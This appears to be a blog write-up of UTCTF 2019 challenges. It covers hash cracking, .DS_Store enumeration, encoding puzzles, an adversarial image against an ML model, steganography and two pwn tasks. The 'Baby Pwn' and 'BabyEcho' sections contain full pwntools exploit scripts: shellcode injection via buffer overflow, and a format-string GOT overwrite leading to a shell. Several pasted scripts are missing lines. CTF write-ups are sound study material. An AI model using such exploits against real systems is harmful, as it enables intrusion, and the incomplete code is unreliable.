UTCTF 2019 Writeup

Mar 11, 2019 08:28 · 1454 words · 7 minute read ctf cyber-security write-up machine-learning

[basics] re - 100pts


I know there’s a string in this binary somewhere…. Now where did I leave it?

by balex



❯ strings calculator | grep flag

flag: utflag{str1ng5_15_4_h4ndy_t00l}

simple python script - 750pts


simple python script I wrote while not paying attention in graphics

by asper



inputs contains five sha1 hashes. You can get the hashes by adding a print statement in the source code.

Crack the hashes using a website:

# 26d33687bdb491480087ce1096c80329aaacbec7 SHA1 puppy 
# 1C3BCF656687CD31A3B486F6D5936C4B76A5D749 SHA1 p1zza 
# 11A3E059C6F9C223CE20EF98290F0109F10B2AC6 SHA1 anime 
# 6301CB033554BF0E424F7862EFCC9D644DF8678D SHA1 torus 
# 95d79f53b52da1408cc79d83f445224a58355b13 SHA1 kitty 

Concatenate the strings and you get the flag.

flag: puppyp1zzaanimetoruskitty

HabbyDabby’s Secret Stash - 650pts


HabbyDabby’s hidden some stuff away on his web server that he created and wrote from scratch on his Mac. See if you can find out what he’s hidden and where he’s hidden it!


by copperstick6


The challenge description mentions that the website is made using a Mac; therefore, we can look for .DS_Store files. I used this project on github to reveal the path for the flag:

❯ python ds_store_exp.py http://a.goodsecurity.fail/\?file\=.DS_Store
[+] http://a.goodsecurity.fail/?file=.DS_Store
[+] http://a.goodsecurity.fail/?file=a
[+] http://a.goodsecurity.fail/?file=e/.DS_Store
 [+] http://a.goodsecurity.fail/?file=d
[+] http://a.goodsecurity.fail/?file=a/.DS_Store
[+] http://a.goodsecurity.fail/?file=index.html
[+] http://a.goodsecurity.fail/?file=d/.DS_Store
 [+] http://a.goodsecurity.fail/?file=index.html/.DS_Store
[+] http://a.goodsecurity.fail/?file=c
[+] http://a.goodsecurity.fail/?file=e
[+] http://a.goodsecurity.fail/?file=c/.DS_Store
[+] http://a.goodsecurity.fail/?file=b
[+] http://a.goodsecurity.fail/?file=b/.DS_Store
[+] http://a.goodsecurity.fail/?file=e/a/.DS_Store
[+] http://a.goodsecurity.fail/?file=e/c
[+] http://a.goodsecurity.fail/?file=e/b/.DS_Store
 [+] http://a.goodsecurity.fail/?file=e/b
 [+] http://a.goodsecurity.fail/?file=e/c/.DS_Store
[+] http://a.goodsecurity.fail/?file=e/e
[+] http://a.goodsecurity.fail/?file=e/a
[+] http://a.goodsecurity.fail/?file=e/e/.DS_Store
[+] http://a.goodsecurity.fail/?file=e/d
[+] http://a.goodsecurity.fail/?file=e/d/.DS_Store
[+] http://a.goodsecurity.fail/?file=e/d/b
[+] http://a.goodsecurity.fail/?file=e/d/b/.DS_Store
[+] http://a.goodsecurity.fail/?file=e/d/e
[+] http://a.goodsecurity.fail/?file=e/d/e/.DS_Store
[+] http://a.goodsecurity.fail/?file=e/d/e/flag.txt/.DS_Store
 [+] http://a.goodsecurity.fail/?file=e/d/e/flag.txt

Side note: The code from the repo didn’t work for me at first, and I have comment out this part:

if not os.path.exists(folder_name):
with open(netloc.replace(':', '_') + path, 'wb') as outFile:
  print '[+] %s' % url

Now with the path, we can get the flag:

❯ curl http://a.goodsecurity.fail/\?file\=e/d/e/flag.txt

flag: utflag{mac_os_hidden_files_are_stupid}

[basics] crypto - 200pts


Can you make sense of this file?

by balex



Basic crypto…

from pwn import *
with open('./binary.txt') as f:
  data = f.read()

data = unbits(data.strip().replace(' ', ''))
print data

print '--------------------------------'

data = data.split('one.)\n')[-1]
data = data.decode('base64') 
print data

print '--------------------------------'

data = data.split('n people).\n')[-1]

# https://stackoverflow.com/questions/3269686/short-rot13-function-python
def rot(n):
  from string import ascii_lowercase as lc, ascii_uppercase as uc, maketrans
  lookup = maketrans(lc + uc, lc[n:] + lc[:n] + uc[n:] + uc[:n])
  return lambda s: s.translate(lookup)

# for i in range(26):
#   print '{}: {}'.format(i, rot(i)(data))

data = rot(16)(data)
print data

print '--------------------------------'

# https://www.guballa.de/substitution-solver
# congratulations! you have finished the beginner cryptography challenge. here is a flag for all your hard efforts: utflag{3ncrypt10n_15_c00l}. you will find that a lot of cryptography is just building off this sort of basic knowledge, and it really is not so bad after all. hope you enjoyed the challenge!

flag: utflag{3ncrypt10n_15_c00l}

Jacobi’s Chance Encryption - 750pts


Public Key 569581432115411077780908947843367646738369018797567841

Can you decrypt Jacobi’s encryption?

def encrypt(m, pub_key):

    bin_m = ''.join(format(ord(x), '08b') for x in m)
    n, y = pub_key

    def encrypt_bit(bit):
        x = randint(0, n)
        if bit == '1':
            return (y * pow(x, 2, n)) % n
        return pow(x, 2, n)

    return map(encrypt_bit, bin_m)

by asper



Looking at the encrypt function, (y * pow(x, 2, n)) % n is more likely to be 1 and pow(x, 2, n) is more likely to be 0. Using this we can write a script to extract the message:

# https://gchq.github.io/CyberChef/#recipe=From_Hex('Auto')XOR_Brute_Force(1,100,0,'Standard',false,true,false,'flag')&input=OGE4Yjk5OTM5ZTk4ODQ5Yjk2OWJhMDhhYTA4ZjllODZhMDllOGI4YjlhOTE4Yjk2OTA5MWEwOTY5MWEwOTE4YTkyOWQ5YThkYTA4Yjk3OWE5MDhkODY4Mjgw
from pwn import *
# pub_key = '569581432115411077780908947843367646738369018797567841'

def encrypt(m, pub_key):

    bin_m = ''.join(format(ord(x), '08b') for x in m)
    n, y = pub_key

    def encrypt_bit(bit):
        x = randint(0, n)
        if bit == '1':
            return (y * pow(x, 2, n)) % n
        return pow(x, 2, n)

    return map(encrypt_bit, bin_m)

def decrypt(m):
  output = ''
  for e in m.strip().split(','):
    if e == '0':
      output += '0'
      output += '1'
  return unbits(output)

print decrypt(open('./flag.enc').read()).encode('hex')
❯ python chal.py

This did not give us the flag; however, the bytes look like the result of a xor operation.

I used cyberchef to brute force the xor key and got the flag:


flag: utflag{did_u_pay_attention_in_number_theory}

[basics] forensics - 100pts


My friend said they hid a flag in this picture, but it’s broken!

by balex



The file is a text file instead of a image:

❯ file secret.jpg
secret.jpg: ASCII text

❯ cat secret.jpg

flag: utflag{d0nt_tru5t_f1l3_3xt3ns10n5}

FaceSafe - 1400pts


Can you get the secret? http://facesafe.xyz

Like any startup nowadays, FaceSafe had to get on the MACHINELEARNING™ train. Also, like any other startup, they may have been too careless about exposing their website metadata…

Hint: MACHINELEARNING™ logic: if it looks like noise, swims like noise, and quacks like noise, then it’s probably… a deer?

written by patil215


First, I found the robots.txt page:

❯ curl http://facesafe.xyz/robots.txt
User-agent: *
Disallow: /api/model/auth
Disallow: /api/model/check
Disallow: /api/model/expose
Disallow: /api/model/infer
Disallow: /api/model/model_metadata.json
Disallow: /api/model/model.model
Disallow: /static/event.png
Disallow: /static/find.png
Disallow: /static/bad.png

Then, I downloaded the ML model

From this point onward, it’s basically the same as the mlAuth in nullcon HackIM 2019 and Dog or Frog in PicoCTF 2018.

Here is solution code:

from keras.applications.mobilenet import preprocess_input
from keras.models import load_model
from keras.preprocessing.image import img_to_array, array_to_img
from PIL import Image
from imagehash import phash
import numpy as np
from keras import backend as K

IMAGE_DIMS = (32, 32)
img_path = './black.png'

model = load_model('./model.model')

def prepare_image(image, target=IMAGE_DIMS):
    # if the image mode is not RGB, convert it
    if image.mode != "RGB":
        image = image.convert("RGB")

    # resize the input image and preprocess it
    image = image.resize(target)
    image = img_to_array(image)
    image = np.expand_dims(image, axis=0)
    image = preprocess_input(image)
    # return the processed image
    return image

original_image = Image.open(img_path).resize(IMAGE_DIMS)
original_image = prepare_image(original_image)
hacked_image = np.copy(original_image)

model_input_layer = model.layers[0].input
model_output_layer = model.layers[-1].output

cost_function = model_output_layer[0][GOAL_IND]
gradient_function = K.gradients(cost_function, model_input_layer)[0]
grab_cost_and_gradients_from_model = K.function([model_input_layer, K.learning_phase()], [cost_function, gradient_function])

learning_rate = 0.1
cost = 0.0

while cost < 0.65:
    cost, gradients = grab_cost_and_gradients_from_model([hacked_image, 0])

    hacked_image += np.sign(gradients) * learning_rate

    hacked_image = np.clip(hacked_image, -1.0, 1.0)

    print("value: {:.8}%".format(cost * 100))

hacked_image = hacked_image.reshape((32,32,3))
img = array_to_img(hacked_image)

And here is the final image:

flag: utflag{n3ur4l_n3t_s3cur1ty_b4d_p4d1ct4b1l1ty}

Baby Pwn - 650pts


nc stack.overflow.fail 9000

by hk



Standard pwn challenge. Write shellcode to .bss and jump there using the buffer overflow.

Here’s the script:

from pwn import *
import sys
argv = sys.argv

DEBUG = True
BINARY = './babypwn'

context.binary = BINARY

  context.log_level = 'debug'

if len(argv) < 2:
  stdout = process.PTY
  stdin = process.PTY

  sh = process(BINARY, stdout=stdout, stdin=stdin)
  sh = remote('stack.overflow.fail', 9000)

name_addr = 0x601080

sh.sendlineafter('?\n', asm(shellcraft.amd64.linux.sh()))

sh.sendlineafter(': ', '+')

sh.sendlineafter(': ', '1')

payload = 'a'*(0x90-1)+'+'+p64(name_addr)*2

sh.sendlineafter(': ', payload)


flag: utflag{0h_n0_i_f0rg0t_t0_carry_the_return}

BabyEcho - 700pts


I found this weird echo server. Can you find a vulnerability?

nc stack.overflow.fail 9002

by jitterbug_gang



Standard format string attack. The script is pretty self explanatory:

from pwn import *
import sys
argv = sys.argv

DEBUG = True
BINARY = './pwnable'

context.binary = BINARY

  context.log_level = 'debug'

if len(argv) < 2:
  stdout = process.PTY
  stdin = process.PTY

  sh = process(BINARY, stdout=stdout, stdin=stdin)
  sh = remote('stack.overflow.fail', 9002)

printf_got = 0x804a010
exit_got = 0x804a01c
fgets_got = 0x804a014

main_addr = 0x0804851b

payload = 'A'*2
payload += p32(printf_got)
payload += p32(exit_got)

payload += '%11$n'

# stage 1: loop
p1 = 'A'*2
p1 += p32(exit_got)
p1 += p32(exit_got+2)
p1 += '%{}x'.format(0x851b-10)
p1 += '%11$hn'
p1 += '%{}x'.format((0x10000-(0x851b))+0x0804)
p1 += '%12$hn'
sh.sendlineafter('.\n', p1)

# stage 2: find libc version
# https://libc.blukat.me/?q=_IO_printf%3A020%2C_IO_fgets%3A620&l=libc6-i386_2.23-0ubuntu11_amd64
# p2 = 'A'*2
# p2 += p32(printf_got)
# p2 += '%11$s'

# sh.sendlineafter('.\n', p2)

# print hex(u32(sh.recvuntil('back').split('\n')[0][6:6+4])) #0xf7dd4020

# p2 = 'A'*2
# p2 += p32(fgets_got)
# p2 += '%11$s'

# sh.sendlineafter('.\n', p2)

# print hex(u32(sh.recvuntil('back').split('\n')[0][6:6+4])) #0xf7de8620

# stage 3: leak libc base and find system

p3 = 'A'*2
p3 += p32(printf_got)
p3 += '%11$s'

sh.sendlineafter('.\n', p3)

libc_base = u32(sh.recvuntil('back').split('\n')[0][6:6+4]) - 0x049020
system_addr = libc_base + 0x03a940

# stage 4: change prinf to system and win
p1 = 'A'*2
p1 += p32(printf_got)
p1 += p32(printf_got+2)
p1 += '%{}x'.format((system_addr&0xffff)-10)
p1 += '%11$hn'
p1 += '%{}x'.format((0x10000-(system_addr&0xffff))+(system_addr >> 16))
p1 += '%12$hn'
sh.sendlineafter('.\n', p1)

sh.sendlineafter('.\n', '/bin/sh')


flag: utflag{gassssssssssp3r_mad3_m3_wr1t3_th1s}

UTCTF adventure ROM - 1000pts


D-Pad to move

A to select

See if you can win!

Be careful, there are invisible lines that kill you

by asper



Running the game in OpenEmu looks like this:

The player have to move around avoiding invisible blocks and go to the four corners in the correct order.

I utilized the saves feature in OpenEmu and brute forced the sequence by hand.

flag: aabdcacbbdbcdcad

Low Sodium Bagel - 300pts


I brought you a bagel, see if you can find the secret ingredient.

by balex



Simple challenge where you have to extract the flag using steghide:

$ steghide extract -sf low-sodium-bagel.jpeg -p ""
wrote extracted data to "steganopayload4837.txt".
$ cat steganopayload4837.txt

flag: utflag{b1u3b3rry_b4g3ls_4r3_th3_b3st}

tweet Share